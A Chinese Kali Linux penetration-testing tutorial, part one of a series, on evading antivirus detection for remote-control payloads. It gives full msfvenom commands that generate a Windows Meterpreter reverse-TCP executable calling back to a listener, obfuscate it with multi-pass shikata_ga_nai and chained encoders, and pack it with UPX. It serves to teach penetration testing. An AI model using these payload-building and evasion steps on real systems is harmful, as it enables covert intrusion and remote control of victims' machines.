Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)

简介: Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)

Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹
长期以来,杀毒软件厂商和黑客一直处于博弈的状态,杀毒软件厂商研究了各种检测和清除远程控制被控端的方法,而黑客也在一直致力于研究避开检测的方法(简称为免杀技术)。远程控制被控端也可被看作病毒的一种。

到目前为止,杀毒软件主要使用了3种技术。如下:

  • 基于文件扫描的反病毒技术。这种技术主要依靠对程序的二进制代码进行检测,反病毒工程师将病毒样本中的一段特有的二进制代码串提取出来作为特征码,并将其加入病毒库,检测程序时看它是否包含这个特征码。
  • 基于内存扫描的反病毒技术。有的病毒程序可能通过各种手段躲过文件扫描,但是想要达到目的,它就需要运行。病毒程序在运行后会将自身释放到内存中,释放后到文件结构与为执行的文件相比有较大的差异。因此基于内存扫描的反病毒技术使用一套针对内存的特征码来检测病毒程序。
  • 基于行为监控的反病毒技术。以上两种技术只能查杀已知病毒,对病毒库中不包含的病毒基本没有办法查杀。而基于行为监控的反病毒技术则会监控程序的行为,如果它在执行后进行一些非正规的、可疑的操作,如修改系统的注册表的重要部分,则会被视作病毒病查杀。

那么黑客的免杀手段是针对杀毒软件发展出来的,免杀手段如下:

修改特征码,就是修改病毒样本中的一段特有的二进制代码串

  • 添加花指令,向病毒程序中添加一些无意义的指令,改变程序特征码的位置。
  • 程序加密(加壳),程序加壳后就会变成PE(Portable Execute)文件里的一段数据,在执行加壳文件时会先执行壳,再由壳将已加密的程序解密并还原到内存中。
  • 前两种免杀手段主要针对基于文件扫描的反病毒技术,第3种免杀手段主要针对基于文件扫描的反病毒技术和基于内存扫描的反病毒技术。黑客在使用远程控制被控端时,通常尽量采用反向连接、尽量对通信加密、尽量避免对系统进行修改等方式来躲避检测。

1. msfvenom提供的免杀方法
使用msfvenom生成攻击载荷,命令如下:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -f exe -o /var/payload1.exe

如果将生成的payload1.exe拖拽到Win10或者装有杀毒软件的电脑中,可能被杀端软件发现,就会弹出一个警示窗口,如下图所示:

image.png

即便复制过程中没有被查杀,当用户使用杀端软件进行硬盘杀毒操作时,也会出现如上提示。这个过程,杀毒软件使用的是基于文件扫描的反病毒技术, 因为payload1.exe根本还没有运行就被发现了。所以我们应该设法消除payload1.exe的特征码。msfvenom针对这种扫描方式提供了一种混淆编码的解决方案。msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行后,msf编码器会将原可执行程序解码到内存中并执行。这样就可以在不影响程序执行的前提下,躲避杀毒软件的特征码查杀。我们可以使用如下命令查看msfvenom中支持的编码方式:

┌──(root💀kali)-[~]
└─# msfvenom -l encoders

它们被按照Metasploit里的分类标准分成了7个登记:manual、low、average、normal、good、great、excellent。如下图红框所示:
image.png

最常用的编码方式是x86/shikata_ga_nai,它的评级是excellent。我们使用一个评级为low的编码方式x86/nonalpha进行测试。首先执行如下命令:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/nonalpha -f c

参数-e 是选择的编码器,使用x86/nonalpha编码方式得到的Shellcode如下图所示:
image.png

注意:这里的输出参数为c,表明这是一段可以在C程序中调用的Shellcode。如果尝试执行两次这条命令,观察生成的Shellcode,发现它们都是相同的, 因此杀毒软件很容易就可以从里面找到特征码进行查杀。

使用编码方式x86/shikata_ga_nai 进行测试,命令如下:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/shikata_ga_nai -f c

第一次生成的Shellcode片段,如下图所示:

image.png

第二次生成的Shellcode片段,如下图所示:

image.png

对照上面两张图,两次生成的Shellcode虽然功能相同,但是从代码上看已经完全不同,因此这种编码方式格外受到黑客喜爱。因为这里使用的x86/shikata_ga_nai 是多态的,所以有时候生成的文件会被查杀有时候却不会。

有的时候杀毒软件会采用先解码再识别的方式,这时黑客会选择使用多次编码、多重编码的方式。如使用x86/shikata_ga_nai 连续10次编码,再使用其他编码方式,命令如下:

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.125 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a  x86 --platform windows -i 10 -f exe -o /var/payload.exe

这里的参数i指定编码的次数,即便是使用多次编码、多重编码,大多数时候仍然会被杀毒软件查杀。如下图所示:

image.png

红框内是编码的次数。加壳也是对抗基于文件扫描和内存扫描的反病毒技术的常用手段,Kali Linux中提供了一个很流行的加壳工具UPX,启动方式很简单,命令及输出如下所示:

┌──(root💀kali)-[~]
└─# upx
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

Commands:
  -1     compress faster                   -9    compress better
  -d     decompress                        -l    list compressed file
  -t     test compressed file              -V    display version number
  -h     give more help                    -L    display software license
Options:
  -q     be quiet                          -v    be verbose
  -oFILE write output to 'FILE'
  -f     force compression of suspicious files
  -k     keep backup files
file..   executables to (de)compress

Type 'upx --help' for more detailed help.

UPX comes with ABSOLUTELY NO WARRANTY; for details visit https://upx.github.io

对上面编码生成的payload.exe文件进行加壳,命令及输出如下所示:

┌──(root💀kali)-[~]
└─# upx /var/payload.exe                                                                                                  1 ⨯
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     73802 ->     48128   65.21%    win32/pe     payload.exe                   

Packed 1 file.

编码和加壳之后,此文件拖拽到Win10系统依然被查杀,弹出警告。可以反复多次编码尝试。

接下文 Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)https://developer.aliyun.com/article/1618428

相关文章
|
1月前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
71 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
2月前
|
数据库连接 Go 数据库
Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性
本文探讨了Go语言中的错误注入与防御编程。错误注入通过模拟网络故障、数据库错误等,测试系统稳定性;防御编程则强调在编码时考虑各种错误情况,确保程序健壮性。文章详细介绍了这两种技术在Go语言中的实现方法及其重要性,旨在提升软件质量和可靠性。
46 1
|
2月前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现
|
3月前
|
Java 程序员 测试技术
Java|让 JUnit4 测试类自动注入 logger 和被测 Service
本文介绍如何通过自定义 IDEA 的 JUnit4 Test Class 模板,实现生成测试类时自动注入 logger 和被测 Service。
50 5
|
3月前
|
网络协议 安全 Linux
Kali渗透测试:拒绝服务攻击(一)
Kali渗透测试:拒绝服务攻击(一)
227 2
|
3月前
|
存储 网络协议 安全
Kali渗透测试:拒绝服务攻击(二)
Kali渗透测试:拒绝服务攻击(二)
334 0
|
3月前
|
安全 网络安全 数据库
Kali测试:散列密码破解(一)
Kali渗透测试:散列密码破解(一)
46 0
|
3月前
|
安全 应用服务中间件 网络安全
Kali测试:散列密码破解(二)
Kali渗透测试:散列密码破解(二)
141 0
|
3天前
|
数据可视化 前端开发 测试技术
接口测试新选择:Postman替代方案全解析
在软件开发中,接口测试工具至关重要。Postman长期占据主导地位,但随着国产工具的崛起,越来越多开发者转向更适合中国市场的替代方案——Apifox。它不仅支持中英文切换、完全免费不限人数,还具备强大的可视化操作、自动生成文档和API调试功能,极大简化了开发流程。
|
3天前
|
存储 测试技术 数据库
接口测试工具攻略:轻松掌握测试技巧
在互联网快速发展的今天,软件系统的复杂性不断增加,接口测试工具成为确保系统稳定性的关键。它如同“翻译官”,模拟请求、解析响应、验证结果、测试性能并支持自动化测试,确保不同系统间信息传递的准确性和完整性。通过Apifox等工具,设计和执行测试用例更加便捷高效。接口测试是保障系统稳定运行的第一道防线。